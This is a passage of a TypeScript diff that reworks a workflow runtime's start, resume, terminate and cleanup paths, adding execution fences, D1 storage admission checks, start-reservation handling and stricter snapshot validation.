(current?.version !== 2 || current.startToken !== expected.startToken) + ) + throw new RunStateUnreadableError(workflowId, runId); + if ( + proof && + (source.tablePrefix !== proof.tablePrefix || + current?.version !== 2 || + current.startToken !== proof.startToken) + ) + throw new RunStateUnreadableError(workflowId, runId); + if (reading) { + const execution = + current?.version === 2 + ? runExecutionIdentityFor( + { tablePrefix: source.tablePrefix, workflowId, runId }, + current, + ) + : undefined; + if ( + !admitsExistingRun(reading, execution) || + (proof && (!execution || !sameExecution(proof, execution))) + ) + throw new ExecutionFencedError(reading.state, 'run resume'); } + return snapshot; + } + + async #completedStartState( + source: CapturedWorkflowStorage, + execution: RunExecutionIdentity, + expected: Pick, + ): Promise< + AuthoritativeStartState & { kind: 'result'; summary: RunSummary } + > { + const state = await this.#readStartState( + source, + execution.workflowId, + execution.runId, + ); + if ( + !state || + state.kind === 'legacy' || + !sameExecution(state.execution, execution) || + state.provenance.version !== expected.version || + state.provenance.attemptToken !== expected.attemptToken + ) + throw new RunStateUnreadableError(execution.workflowId, execution.runId); + if (state.kind === 'initial') throw new RunStartPendingError(); + return state; } async start( @@ -1270,133 +1449,253 @@ export class RunnerRuntime { sourceOptions: StartRunOptions, ): Promise { const options = captureStartRunOptions(sourceOptions); - const workflow = this.#getWorkflow(workflowId); - if ( - options.startIdentity?.target.kind === 'workflow' && - options.startIdentity.target.id !== workflow.id - ) { - throw new InvalidRunRequestError( - 'startIdentity target does not match workflow', - ); - } - // Reject non-path-safe ids at the mint boundary so the runId is unambiguous - // everywhere it addresses the run (D1 key, DO name, URL path) — see - // PATH_SAFE_ID_PATTERN. Fail fast, before the lock and any createRun work. - // The typeof guard is load-bearing, not redundant with the string type: - // this value can arrive from JSON.parse through an unchecked `as` cast - // (durable-object.ts readJson), and RegExp.test() coerces its argument to a - // String — so a numeric runId like 123 would pass the pattern as "123" yet - // mint a run keyed by the number 123, unreachable by the string "123" the - // URL path later carries. There is NO generation fallback: a - // missing/null runId is a client error, not a request for one. - if (!isPathSafeId(options.runId)) { + const runId = options.runId; + if (!isPathSafeId(runId)) throw new InvalidRunRequestError( - "runId is required and must be URL-path-safe (letters, digits, '.', '_', '~', '-'; 1–200 chars)", + 'runId is required and must be URL-path-safe', ); - } - const runId = options.runId; if ( options.attemptToken !== undefined && !isPathSafeId(options.attemptToken) - ) { + ) throw new InvalidRunRequestError('attemptToken is malformed'); - } - // The fence, BEFORE the run lock and before any storage work: a fenced - // deployment must not queue behind a live run's lock just to be refused, - // and must write nothing on the way to the refusal. One read, never - // memoized (execution-fence.ts). - await this.#assertStartFence(runId, options.idempotencyKey); - return this.#withRunLock(workflowId, runId, async () => { - // Supplied ids can collide with an existing run; starting it - // again would re-execute already-executed steps. - const existing = await workflow.getWorkflowRunById(runId); - if (existing) { - throw new RunAlreadyExistsError(workflowId, runId, existing.status); - } - // Resolve the leg's context BEFORE createRun: createRun persists the - // initial snapshot, so a provider failure after it would strand a - // pending-but-never-started run (a supplied runId would then be locked - // out by RunAlreadyExistsError on retry). Failing here leaves no state. - const startAttemptToken = options.attemptToken ?? crypto.randomUUID(); - const provenance: RunProvenance = { - version: 1, - ...(options.requestedBy === undefined - ? {} - : { - requestedBy: options.requestedBy, - requestedByKind: options.requestedByKind, - }), - startToken: startAttemptToken, - attemptToken: startAttemptToken, - resumeCounts: [], - }; - const lifecycle = lifecycleForStart(options); - const requestContext = await this.#requestContextFor( - workflowId, - runId, - { kind: 'start' }, - provenance, - options.storedRequestContext, - lifecycle, - ); - // Thread the host DO's pubsub identity into the run. Core - // accepts `createRun({ runId, pubsub })` at every one of its OWN call - // sites (agent/durable index.js:5224/5541) and stamps it straight onto - // `new Run({ ..., pubsub: options?.pubsub })`, defaulting a FRESH - // EventEmitterPubSub when it is undefined. So an unconfigured host - // (#pubsub undefined) reaches the identical `new Run({ pubsub: undefined })` - // the prior `createRun({ runId })` produced — byte-identical, polling - // stays the fallback. A configured host gets ONE shared feed so publish - // and observe()/replay agree (do-runner/pubsub.ts). - const run = await workflow.createRun({ runId, pubsub: this.#pubsub }); - let result: CoreRunResult; - const activeKey = this.#runKey(workflowId, runId); - const active = { run, lifecycle, requestContext }; - this.#activeRuns.set(activeKey, active); - try { - result = await run.start({ - inputData: options.inputData, - initialState: options.initialState, - requestContext, - }); - } catch (error) { - const recovered = await this.#summaryForAttempt( - workflow, - runId, - provenance.attemptToken, + const startIdentity = + options.startIdentity ?? + (options.requestedBy === undefined + ? undefined + : normalizeStartIdentity({ + owner: { id: options.requestedBy, kind: options.requestedByKind }, + target: { kind: 'workflow', id: workflowId }, + })); + const claim = options.startReservation; + if (claim) { + if (!startIdentity || !this.#startIdempotency) + throw new InvalidRunRequestError( + 'start reservation requires configured store and identity', ); - if (recovered) return recovered; - throw asClientError(error) ?? error; - } finally { - if (this.#activeRuns.get(activeKey) === active) { - this.#activeRuns.delete(activeKey); - } - } - try { - await this.#reconcileTerminalState( - workflowId, - run.runId, - result, - requestContext, + if (options.idempotencyKey !== claim.key) + throw new InvalidRunRequestError( + 'start reservation key disagrees with execution', ); - } catch (error) { - const recovered = await this.#summaryForAttempt( - workflow, - runId, - provenance.attemptToken, + assertClaimIdentity( + claim, + { ...startIdentity, runId }, + options.idempotencyKey, + ); + } + let preflight = true; + const releasePreflight = async () => { + if (preflight && claim && this.#startIdempotency) + await this.#startIdempotency.releaseReservation(claim); + }; + try { + const workflow = this.#getWorkflow(workflowId); + if ( + startIdentity?.target.kind === 'workflow' && + startIdentity.target.id !== workflow.id + ) + throw new InvalidRunRequestError( + 'startIdentity target does not match workflow', ); - if (recovered) return recovered; - throw error; - } - return summarize( - run.runId, - result, - undefined, - provenance.requestedBy, - provenance.requestedByKind, - lifecycle?.deadlineAt, + const proof = await this.#assertStartFence( + options.idempotencyKey, + options.mutationEpoch, ); - }); + return await this.#withRunLock(workflowId, runId, async () => { + const activeKey = this.#runKey(workflowId, runId); + const active: ActiveRun = {}; + if (this.#activeRuns.has(activeKey)) + throw new RunAlreadyExistsError(workflowId, runId, 'running'); + this.#activeRuns.set(activeKey, active); + let execution: RunExecutionIdentity | undefined; + let engineEntered = false; + let outcomeReadStarted = false; + let admissionEntered = false; + let candidate: + | Awaited> + | undefined; + const originalCached = workflow.runs.get(runId); + let provenance: ProgressRunProvenance | undefined; + try { + const existing = await workflow.getWorkflowRunById(runId); + if (existing || originalCached) + throw new RunAlreadyExistsError( + workflowId, + runId, + existing?.status ?? 'pending', + ); + const source = await this.#captureWorkflowStorage(workflow); + active.source = source; + provenance = { + version: 2, + startToken: crypto.randomUUID(), + attemptToken: options.attemptToken ?? crypto.randomUUID(), + resumeCounts: [], + ...(options.requestedBy === undefined + ? {} + : { + requestedBy: options.requestedBy, + requestedByKind: options.requestedByKind, + }), + ...(startIdentity ? { startIdentity } : {}), + ...(options.agentStart ? { agentStart: options.agentStart } : {}), + ...(options.mutationEpoch === undefined + ? {} + : { mutationEpoch: options.mutationEpoch }), + }; + execution = runExecutionIdentityFor( + { tablePrefix: source.tablePrefix, workflowId, runId }, + provenance, + ); + const lifecycle = lifecycleForStart(options); + active.lifecycle = lifecycle; + preflight = false; + const requestContext = await this.#requestContextFor( + workflowId, + runId, + { kind: 'start' }, + provenance, + options.storedRequestContext, + lifecycle, + ); + active.requestContext = requestContext; + if (options.onPreparedStartIdentity) + await Reflect.apply(options.onPreparedStartIdentity, undefined, [ + execution, + ]); + const capturedExecution = execution; + const capturedProvenance = provenance; + const { executionPromise } = await this.#withLifecycleLock( + workflowId, + runId, + async () => { + let run: Awaited>; + if (this.#executionFence) { + if (source.storage !== 'd1') + throw new Error( + 'fenced workflow storage capability is unavailable', + ); + const d1Execution = + normalizeD1RunExecutionIdentity(capturedExecution); + admissionEntered = true; + const admitted = await source.admit.call( + source.capability, + { + execution: d1Execution, + attemptToken: capturedProvenance.attemptToken, + mutationEpoch: options.mutationEpoch, + startIdentity, + requestContext: Object.fromEntries( + requestContext.entries(), + ), + fence: this.#executionFence, + reservationStore: claim + ? this.#startIdempotency + : undefined, + reservation: claim, + proof, + runOwnerGuard: options.runOwnerGuard, + onInitialWriteAttempt: () => { + candidate = workflow.runs.get(runId); + }, + }, + () => workflow.createRun({ runId, pubsub: this.#pubsub }), + ); + if ( + !admitted?.witness || + !sameExecution(admitted.witness.execution, d1Execution) + ) + throw new RunStateUnreadableError(workflowId, runId); + const witnessed = this.#projectD1StartState( + source, + workflowId, + runId, + admitted.witness.row, + ); + if ( + witnessed.kind !== 'initial' || + !sameExecution(witnessed.execution, d1Execution) || + witnessed.provenance.initialAdmission !== true || + witnessed.provenance.attemptToken !== + capturedProvenance.attemptToken + ) + throw new RunStateUnreadableError(workflowId, runId); + run = admitted.value as Awaited< + ReturnType + >; + } else { + if (claim && startIdentity && this.#startIdempotency) + await this.#startIdempotency.bindPreparedStart(claim, { + ...capturedExecution, + ...startIdentity, + }); + run = await workflow.createRun({ runId, pubsub: this.#pubsub }); + } + active.run = run; + engineEntered = true; + return { + executionPromise: run.start({ + inputData: options.inputData, + initialState: options.initialState, + requestContext, + }), + }; + }, + ); + const result = await executionPromise; + await this.#reconcileTerminalState( + workflowId, + runId, + result, + requestContext, + source, + ); + outcomeReadStarted = true; + const selected = await this.#completedStartState( + source, + capturedExecution, + provenance, + ); + await this.#settleStartReservation(selected); + return selected.summary; + } catch (error) { + if ( + admissionEntered && + !engineEntered && + execution?.tablePrefix !== null && + execution !== undefined && + isDefinitiveInitialAdmissionRefusal( + error, + normalizeD1RunExecutionIdentity(execution), + ) + ) { + if ( + candidate && + candidate !== originalCached && + workflow.runs.get(runId) === candidate + ) + workflow.runs.delete(runId); + if (claim && this.#startIdempotency) + await this.#startIdempotency.releaseReservation(claim); + } + if (engineEntered && provenance && !outcomeReadStarted) { + const recovered = await this.#summaryForAttempt( + workflow, + runId, + provenance, + ); + if (recovered) return recovered; + } + throw asClientError(error) ?? error; + } finally { + if (this.#activeRuns.get(activeKey) === active) + this.#activeRuns.delete(activeKey); + } + }); + } catch (error) { + await releasePreflight(); + throw error; + } } /** @@ -1410,21 +1709,34 @@ export class RunnerRuntime { options: ResumeRunOptions = {}, ): Promise { const workflow = this.#getWorkflow(workflowId); - // A drain must not refuse resumes — the suspended runs it is draining are - // waiting for exactly these — so only migration-locked and proof-only - // block here, and proof-only admits its one nominated run. - await this.#assertResumeFence(runId); + const proof = await this.#assertResumeFence(workflowId, runId); return this.#withRunLock(workflowId, runId, async () => { - const state = await this.#workflowState(workflow, runId, true); - if (!state) throw new UnknownRunError(workflowId, runId); - if (state.status !== 'suspended') { - throw new RunNotSuspendedError(workflowId, runId, state.status); - } - // Provider before createRun for symmetry with start(): a resume-time - // createRun only reattaches (no snapshot write), but failing before it - // still does the least work and keeps the ordering invariant uniform. - const { nextCounts, provenance, requestContext, lifecycle } = - await this.#trustedResumePreparation( + const activeKey = this.#runKey(workflowId, runId); + const active: ActiveRun = {}; + if (this.#activeRuns.has(activeKey)) + throw new RunTerminalConflictError(workflowId, runId, 'running'); + this.#activeRuns.set(activeKey, active); + let provenance: RunProvenance | undefined; + let engineEntered = false; + let outcomeReadStarted = false; + try { + const source = await this.#captureWorkflowStorage(workflow); + active.source = source; + const state = await this.#workflowState(workflow, runId, true); + if (!state) throw new UnknownRunError(workflowId, runId); + if (state.isFromInMemory) + throw new RunStateUnreadableError(workflowId, runId); + const prior = runProvenance(state); + if ( + proof && + (prior?.version !== 2 || + prior.startToken !== proof.startToken || + source.tablePrefix !== proof.tablePrefix) + ) + throw new RunStateUnreadableError(workflowId, runId); + if (state.status !== 'suspended') + throw new RunNotSuspendedError(workflowId, runId, state.status); + const prepared = await this.#trustedResumePreparation( workflowId, runId, state, @@ -1434,45 +1746,18 @@ export class RunnerRuntime { options.deadlineMs, options.economicOperations, ); - const activeKey = this.#runKey(workflowId, runId); - const active: { - run?: { cancel(): Promise }; - lifecycle?: RunLifecycleState; - requestContext?: RequestContext; - } = { lifecycle, requestContext }; - await this.#withLifecycleLock(workflowId, runId, async () => { - const current = await this.#loadSnapshot(workflowId, runId); - if (!current) throw new UnknownRunError(workflowId, runId); - const currentLifecycle = lifecycleFromRequestContext( - current.requestContext, - ); - if (currentLifecycle?.terminal || currentLifecycle?.transitionIntent) { - throw new RunTerminalConflictError( + provenance = prepared.provenance; + const { requestContext, lifecycle, nextCounts } = prepared; + active.requestContext = requestContext; + active.lifecycle = lifecycle; + const check = async () => { + const current = await this.#assertRetainedResume( + source, workflowId, runId, - current.status as RunStatus, + prior, + proof, ); - } - active.lifecycle = effectiveLifecycle(currentLifecycle, lifecycle); - this.#activeRuns.set(activeKey, active); - }); - let run: Awaited> | undefined; - let result: CoreRunResult; - try { - if (options.prepareExecution) { - const preparationValues = structuredClone( - Object.fromEntries(requestContext.entries()), - ); - await options.prepareExecution( - new RequestContext(Object.entries(preparationValues)), - ); - } - // Same host pubsub identity as start() — see the note - // there; undefined stays byte-identical to `createRun({ runId })`. - run = await workflow.createRun({ runId, pubsub: this.#pubsub }); - await this.#withLifecycleLock(workflowId, runId, async () => { - const current = await this.#loadSnapshot(workflowId, runId); - if (!current) throw new UnknownRunError(workflowId, runId); const currentLifecycle = lifecycleFromRequestContext( current.requestContext, ); @@ -1480,66 +1765,89 @@ export class RunnerRuntime { currentLifecycle?.terminal || currentLifecycle?.transitionIntent || this.#activeRuns.get(activeKey) !== active - ) { + ) throw new RunTerminalConflictError( workflowId, runId, current.status as RunStatus, ); - } active.lifecycle = effectiveLifecycle( currentLifecycle, active.lifecycle, ); - active.run = run; - }); - result = await run.resume({ - step: options.step, - resumeData: options.resumeData, - requestContext, - }); - } catch (error) { - const recovered = await this.#summaryForAttempt( - workflow, + }; + await this.#withLifecycleLock(workflowId, runId, check); + if (options.prepareExecution) { + const values = structuredClone( + Object.fromEntries(requestContext.entries()), + ); + await options.prepareExecution( + new RequestContext(Object.entries(values)), + ); + await this.#withLifecycleLock(workflowId, runId, check); + } + const run = await workflow.createRun({ runId, pubsub: this.#pubsub }); + const { executionPromise } = await this.#withLifecycleLock( + workflowId, runId, - provenance.attemptToken, + async () => { + await check(); + active.run = run; + engineEntered = true; + return { + executionPromise: run.resume({ + step: options.step, + resumeData: options.resumeData, + requestContext, + }), + }; + }, ); - if (recovered) return recovered; - // No authoritative snapshot carries this attempt token: the run stayed - // on its prior suspension, so neither requester nor ordinal advances. - throw asClientError(error) ?? error; - } finally { - if (this.#activeRuns.get(activeKey) === active) { - this.#activeRuns.delete(activeKey); - } - } - // A re-suspension produced by this resume carries the incremented ordinal - // in the same authoritative snapshot as the new workflow state. - const summary = summarize( - run.runId, - result, - nextCounts, - provenance.requestedBy, - provenance.requestedByKind, - lifecycle?.deadlineAt, - ); - try { + const result = await executionPromise; await this.#reconcileTerminalState( workflowId, - run.runId, + runId, result, requestContext, + source, + proof, ); - } catch (error) { - const recovered = await this.#summaryForAttempt( - workflow, + if (provenance.version === 2) { + const execution = runExecutionIdentityFor( + { tablePrefix: source.tablePrefix, workflowId, runId }, + provenance, + ); + outcomeReadStarted = true; + const selected = await this.#completedStartState( + source, + execution, + provenance, + ); + await this.#settleStartReservation(selected); + return selected.summary; + } + return summarize( runId, - provenance.attemptToken, + result, + nextCounts, + provenance.requestedBy, + provenance.requestedByKind, + lifecycle?.deadlineAt, ); - if (recovered) return recovered; - throw error; + } catch (error) { + if (engineEntered && provenance && !outcomeReadStarted) { + const recovered = await this.#summaryForAttempt( + workflow, + runId, + provenance, + ); + if (recovered) return recovered; + } + throw asClientError(error) ?? error; + } finally { + if (this.#activeRuns.get(activeKey) === active) + this.#activeRuns.delete(activeKey); } - return summary; }); } @@ -1570,8 +1878,16 @@ export class RunnerRuntime { workflowId, runId, async () => { - const state = await this.#loadSnapshot(workflowId, runId); + const source = + this.#activeRuns.get(this.#runKey(workflowId, runId))?.source ?? + (await this.#captureWorkflowStorage(this.#getWorkflow(workflowId))); + const state = await source.load.call(source.workflows, { + workflowName: workflowId, + runId, + }); if (!state) throw new UnknownRunError(workflowId, runId); + if (state.runId !== runId) + throw new RunStateUnreadableError(workflowId, runId); const key = this.#runKey(workflowId, runId); const active = this.#activeRuns.get(key); const lifecycle = effectiveLifecycle( @@ -1637,7 +1953,14 @@ export class RunnerRuntime { : {}), }, }; - await this.#persistLifecycle(workflowId, runId, state, intent, now); + await this.#persistLifecycle( + workflowId, + runId, + state, + intent, + now, + source, + ); if (active) { active.lifecycle = intent; active.requestContext?.set(RUN_LIFECYCLE_CONTEXT_KEY, intent); @@ -1728,8 +2051,16 @@ export class RunnerRuntime { ): Promise { this.#getWorkflow(workflowId); return this.#withRunLock(workflowId, runId, async () => { - const state = await this.#loadSnapshot(workflowId, runId); + const source = await this.#captureWorkflowStorage( + this.#getWorkflow(workflowId), + ); + const state = await source.load.call(source.workflows, { + workflowName: workflowId, + runId, + }); if (!state) throw new UnknownRunError(workflowId, runId); + if (state.runId !== runId) + throw new RunStateUnreadableError(workflowId, runId); const lifecycle = lifecycleFromRequestContext(state.requestContext); if (lifecycle?.terminal) { if ( @@ -1742,26 +2073,19 @@ export class RunnerRuntime { ) { throw new UnknownRunError(workflowId, runId); } - // A re-entry onto an already-terminal run heals a reconcile that an - // earlier crash lost. The CAS is `state <> 'terminal'`, so this is a - // no-op for the reservations that settled the first time. - await this.#settleStartReservation(runId); return { - summary: await this.#summaryAfterPersist(workflowId, runId), + summary: await this.#summaryAfterPersist( + workflowId, + runId, + source, + runProvenance(state), + ), transitioned: false, casMatched: cas === undefined || (lifecycle.terminal.status === 'timed_out' && lifecycle.deadlineAt === cas.expectedDeadlineAt), - cleanup: { - revision: lifecycle.revision, - status: lifecycle.terminal.status, - cleanupCompleted: - lifecycle.terminal.cleanupCompletedAt !== undefined, - ...(lifecycle.scheduleDispatch - ? { scheduleDispatch: lifecycle.scheduleDispatch } - : {}), - }, + cleanup: terminalCleanupFor(lifecycle) as RunTerminalCleanup, }; } const transitionIntent = lifecycle?.transitionIntent; @@ -1780,7 +2104,12 @@ export class RunnerRuntime { lifecycle.deadlineAt > now) ) { return { - summary: await this.#summaryAfterPersist(workflowId, runId), + summary: await this.#summaryAfterPersist( + workflowId, + runId, + source, + runProvenance(state), + ), transitioned: false, casMatched: false, cleanup: { @@ -1839,25 +2168,19 @@ export class RunnerRuntime { }, next, now, + source, ); this.#terminalAbortIntents.delete(this.#runKey(workflowId, runId)); - // Cancel and timeout are terminal too: a run killed by an operator or by - // its deadline spends its idempotency key exactly as a completed one does, - // and a key left unspent here would keep a dead run in the drain - // inventory forever. - await this.#settleStartReservation(runId); return { - summary: await this.#summaryAfterPersist(workflowId, runId), + summary: await this.#summaryAfterPersist( + workflowId, + runId, + source, + runProvenance(state), + ), transitioned: true, casMatched: true, - cleanup: { - revision: next.revision, - status, - cleanupCompleted: false, - ...(next.scheduleDispatch - ? { scheduleDispatch: next.scheduleDispatch } - : {}), - }, + cleanup: terminalCleanupFor(next) as RunTerminalCleanup, }; }); } @@ -1871,8 +2194,16 @@ export class RunnerRuntime { ): Promise { this.#getWorkflow(workflowId); return this.#withRunLock(workflowId, runId, async () => { - const state = await this.#loadSnapshot(workflowId, runId); + const source = await this.#captureWorkflowStorage( + this.#getWorkflow(workflowId), + ); + const state = await source.load.call(source.workflows, { + workflowName: workflowId, + runId, + }); if (!state) throw new UnknownRunError(workflowId, runId); + if (state.runId !== runId) + throw new RunStateUnreadableError(workflowId, runId); const lifecycle = lifecycleFromRequestContext(state.requestContext); if (!lifecycle?.terminal) { throw new RunTerminalConflictError( @@ -1882,7 +2213,12 @@ export class RunnerRuntime { ); } if (lifecycle.terminal.cleanupCompletedAt !== undefined) { - return this.#summaryAfterPersist(workflowId, runId); + return this.#summaryAfterPersist( + workflowId, + runId, + source, + runProvenance(state), + ); } if (lifecycle.revision !== expectedRevision) { throw new Error('run terminal cleanup CAS no longer matches'); @@ -1895,8 +2231,13 @@ export class RunnerRuntime { cleanupCompletedAt: now, }, }; - await this.#persistLifecycle(workflowId, runId, state, next, now); - return this.#summaryAfterPersist(workflowId, runId); + await this.#persistLifecycle(workflowId, runId, state, next, now, source); + return this.#summaryAfterPersist( + workflowId, + runId, + source, + runProvenance(state), + ); }); } @@ -1932,8 +2273,8 @@ export class RunnerRuntime { * that did not reach storage. `null` still means the read SUCCEEDED and * found nothing. * - * status() stays the projection read, unchanged for every existing caller: - * a summary is still the best answer an HTTP status route can give. + * Both status readers refuse a valid v2 pending row before lifecycle + * projection; it has no durable execution outcome yet. */ async authoritativeStatus( workflowId: string, @@ -1948,104 +2289,187 @@ export class RunnerRuntime { return this.#summaryFromState(runId, state); } - /** @internal Read generation and root-local value from one stored observation. */ + /** @internal Include ordinary v1 and unversioned data from the selected row. */ + authoritativeStartState( + workflowId: string, + runId: string, + options: { readonly includeLegacy: true }, + ): Promise; + /** @internal Read only modern generation and root-local result data. */ + authoritativeStartState( + workflowId: string, + runId: string, + ): Promise; async authoritativeStartState( workflowId: string, runId: string, - ): Promise { + options?: { readonly includeLegacy: true }, + ): Promise { + const includeLegacy = options?.includeLegacy === true; + const { state } = await this.#observeStartState(workflowId, runId); + if (state?.kind === 'legacy' && !includeLegacy) + throw new RunStateUnreadableError(workflowId, runId); + return state; + } + + async #captureWorkflowStorage( + workflow: AnyWorkflow, + ): Promise { + const workflows = await workflow.mastra + ?.getStorage() + ?.getStore('workflows'); + if (!workflows) throw new Error('workflow storage is unavailable'); + const methods = { + workflows, + read: workflows.getWorkflowRunById, + load: workflows.loadWorkflowSnapshot, + persist: workflows.persistWorkflowSnapshot, + }; + const capability = ( + workflows as WorkflowsStorage & { + [FENCED_WORKFLOW_STORAGE]?: FencedWorkflowAdmissionCapability; + } + )[FENCED_WORKFLOW_STORAGE]; + if (capability === undefined) { + if (this.#executionFence) + throw new Error('fenced workflow storage capability is unavailable'); + return { ...methods, storage: 'unfenced', tablePrefix: null }; + } + if (capability === null || typeof capability !== 'object') + throw new Error('workflow capability is malformed'); + const { + database, + tablePrefix: prefix, + readSnapshot, + withInitialAdmission: admit, + terminalizeInitialAdmission: terminalize, + } = capability; + if ( + typeof prefix !== 'string' || + typeof readSnapshot !== 'function' || + typeof admit !== 'function' || + typeof terminalize !== 'function' || + !database || + typeof database.prepare !== 'function' || + typeof database.batch !== 'function' + ) + throw new Error('workflow capability is malformed'); + validateTablePrefix(prefix); + if ( + (this.#executionFence && !this.#executionFence.usesDatabase(database)) || + (this.#startIdempotency && !this.#startIdempotency.usesDatabase(database)) + ) + throw new Error('workflow storage binding disagrees with runtime stores'); + return { + ...methods, + storage: 'd1', + tablePrefix: prefix.toLowerCase(), + capability, + database, + readSnapshot, + admit, + terminalize, + }; + } + + async #observeStartState( + workflowId: string, + runId: string, + ): Promise<{ + source: CapturedWorkflowStorage; + state: AuthoritativeStartState | LegacyRunState | null; + }> { if (!isPathSafeId(workflowId)) throw new InvalidRunRequestError('workflowId is malformed'); if (!isPathSafeId(runId)) throw new InvalidRunRequestError('runId is malformed'); const workflow = this.#getWorkflow(workflowId); try { - const storage = workflow.mastra?.getStorage(); - const workflows = await storage?.getStore('workflows'); - if (!workflows) throw new Error('workflow storage is unavailable'); - const capability = ( - workflows as typeof workflows & { - [FENCED_WORKFLOW_STORAGE]?: FencedWorkflowAdmissionCapability; - } - )[FENCED_WORKFLOW_STORAGE]; - let source: - | { storage: 'd1'; tablePrefix: string; raw: RawWorkflowSnapshot } - | { storage: 'unfenced'; tablePrefix: null }; - let decoded: unknown; - let createdAt: Date | string; - let updatedAt: Date | string; - if (capability !== undefined) { - const { - database, - tablePrefix: suppliedPrefix, - readSnapshot, - } = capability; - if (typeof suppliedPrefix !== 'string') - throw new Error('workflow storage namespace is malformed'); - validateTablePrefix(suppliedPrefix); - const tablePrefix = suppliedPrefix.toLowerCase(); - if ( - (this.#executionFence && - !this.#executionFence.usesDatabase(database)) || - (this.#startIdempotency && - !this.#startIdempotency.usesDatabase(database)) - ) - throw new Error( - 'workflow storage binding disagrees with runtime stores', - ); - const observed = await readSnapshot.call(capability, { - workflowId, - runId, - }); - if (observed === undefined) return null; - for (const key of [ - 'tablePrefix', - 'workflowId', - 'runId', - 'resourceId', - 'snapshot', - 'createdAt', - 'updatedAt', - ]) { - if (!Object.hasOwn(observed, key)) - throw new Error('workflow snapshot field is missing'); - } - const { - tablePrefix: rawPrefix, - workflowId: rawWorkflow, - runId: rawRun, - resourceId, - snapshot, - createdAt: rawCreated, - updatedAt: rawUpdated, - } = observed; - if ( - rawPrefix !== tablePrefix || - rawWorkflow !== workflowId || - rawRun !== runId || - (resourceId !== null && typeof resourceId !== 'string') || - typeof snapshot !== 'string' || - typeof rawCreated !== 'string' || - typeof rawUpdated !== 'string' - ) - throw new Error('workflow snapshot fields are malformed'); - const raw = Object.freeze({ - tablePrefix, + const source = await this.#captureWorkflowStorage(workflow); + return { + source, + state: await this.#readStartState(source, workflowId, runId), + }; + } catch (cause) { + if (cause instanceof RunStateUnreadableError) throw cause; + throw new RunStateUnreadableError(workflowId, runId, { cause }); + } + } + + #projectD1StartState( + source: Extract, + workflowId: string, + runId: string, + observed: RawWorkflowSnapshot, + ): AuthoritativeStartState | LegacyRunState { + for (const key of [ + 'tablePrefix', + 'workflowId', + 'runId', + 'resourceId', + 'snapshot', + 'createdAt', + 'updatedAt', + ]) { + if (!Object.hasOwn(observed, key)) + throw new Error('workflow snapshot field is missing'); + } + const { + tablePrefix, + workflowId: storedWorkflow, + runId: storedRun, + resourceId, + snapshot, + createdAt, + updatedAt, + } = observed; + if ( + tablePrefix !== source.tablePrefix || + storedWorkflow !== workflowId || + storedRun !== runId || + (resourceId !== null && typeof resourceId !== 'string') || + typeof snapshot !== 'string' || + typeof createdAt !== 'string' || + typeof updatedAt !== 'string' + ) + throw new Error('workflow snapshot fields are malformed'); + const raw = Object.freeze({ + tablePrefix, + workflowId, + runId, + resourceId, + snapshot, + createdAt, + updatedAt, + }); + return this.#projectStartState( + { storage: 'd1', tablePrefix, raw }, + workflowId, + runId, + JSON.parse(snapshot), + createdAt, + updatedAt, + ); + } + + async #readStartState( + source: CapturedWorkflowStorage, + workflowId: string, + runId: string, + ): Promise { + try { + let state: AuthoritativeStartState | LegacyRunState | null; + if (source.storage === 'd1') { + const row = await source.readSnapshot.call(source.capability, { workflowId, runId, - resourceId, - snapshot, - createdAt: rawCreated, - updatedAt: rawUpdated, }); - source = { storage: 'd1', tablePrefix, raw }; - decoded = JSON.parse(snapshot); - createdAt = rawCreated; - updatedAt = rawUpdated; + state = + row === undefined + ? null + : this.#projectD1StartState(source, workflowId, runId, row); } else { - if (this.#executionFence) - throw new Error('fenced workflow storage capability is unavailable'); - const read = workflows.getWorkflowRunById; - const row = await read.call(workflows, { + const row = await source.read.call(source.workflows, { workflowName: workflowId, runId, }); @@ -2054,136 +2478,321 @@ export class RunnerRuntime { workflowName, runId: storedRun, snapshot, - createdAt: storedCreated, - updatedAt: storedUpdated, + createdAt, + updatedAt, } = row; if (workflowName !== workflowId || storedRun !== runId) throw new Error( 'workflow snapshot selector disagrees with the request', ); - createdAt = storedCreated; - updatedAt = storedUpdated; - decoded = + state = this.#projectStartState( + source, + workflowId, + runId, typeof snapshot === 'string' ? JSON.parse(snapshot) - : structuredClone(snapshot); - source = { storage: 'unfenced', tablePrefix: null }; + : structuredClone(snapshot), + createdAt, + updatedAt, + ); } + return state; + } catch (cause) { + throw new RunStateUnreadableError(workflowId, runId, { cause }); + } + } + + #projectStartState( + physical: + | { storage: 'd1'; tablePrefix: string; raw: RawWorkflowSnapshot } + | { storage: 'unfenced'; tablePrefix: null }, + workflowId: string, + runId: string, + decoded: unknown, + createdAt: Date | string, + updatedAt: Date | string, + ): AuthoritativeStartState | LegacyRunState { + if ( + decoded === null || + typeof decoded !== 'object' || + Array.isArray(decoded) + ) + throw new Error('workflow snapshot is malformed'); + const snapshot = decoded as WorkflowRunState; + if (snapshot.runId !== runId || !isRunStatus(snapshot.status)) + throw new Error('workflow snapshot identity or status is malformed'); + for (const value of [ + snapshot.requestContext, + snapshot.context, + snapshot.suspendedPaths, + ]) { if ( - decoded === null || - typeof decoded !== 'object' || - Array.isArray(decoded) + value !== undefined && + (value === null || typeof value !== 'object' || Array.isArray(value)) ) - throw new Error('workflow snapshot is malformed'); - const snapshot = decoded as WorkflowRunState; - if (snapshot.runId !== runId || !isRunStatus(snapshot.status)) - throw new Error('workflow snapshot identity or status is malformed'); - for (const value of [ - snapshot.requestContext, - snapshot.context, - snapshot.suspendedPaths, - ]) { - if ( - value !== undefined && - (value === null || typeof value !== 'object' || Array.isArray(value)) - ) - throw new Error('workflow snapshot container is malformed'); - } - const provenance = decodeProgressRunProvenance( - snapshot.requestContext?.[RUN_PROVENANCE_CONTEXT_KEY], - ); - lifecycleFromRequestContext(snapshot.requestContext); - for (const value of [createdAt, updatedAt]) { - if (!(value instanceof Date) && typeof value !== 'string') - throw new Error('workflow snapshot timestamp is malformed'); - if (!Number.isFinite(new Date(value).getTime())) - throw new Error('workflow snapshot timestamp is malformed'); - } - const execution = runExecutionIdentityFor( - { tablePrefix: source.tablePrefix, workflowId, runId }, - provenance, - ); - const state = - snapshot.status === 'pending' - ? { kind: 'initial' as const, snapshot, provenance } - : { - kind: 'result' as const, + throw new Error('workflow snapshot container is malformed'); + } + const provenance = runProvenance(snapshot); + lifecycleFromRequestContext(snapshot.requestContext); + for (const value of [createdAt, updatedAt]) { + if (!(value instanceof Date) && typeof value !== 'string') + throw new Error('workflow snapshot timestamp is malformed'); + if (!Number.isFinite(new Date(value).getTime())) + throw new Error('workflow snapshot timestamp is malformed'); + } + if (provenance?.version !== 2) + return { + kind: 'legacy', + provenanceVersion: provenance?.version, + address: Object.freeze({ + tablePrefix: 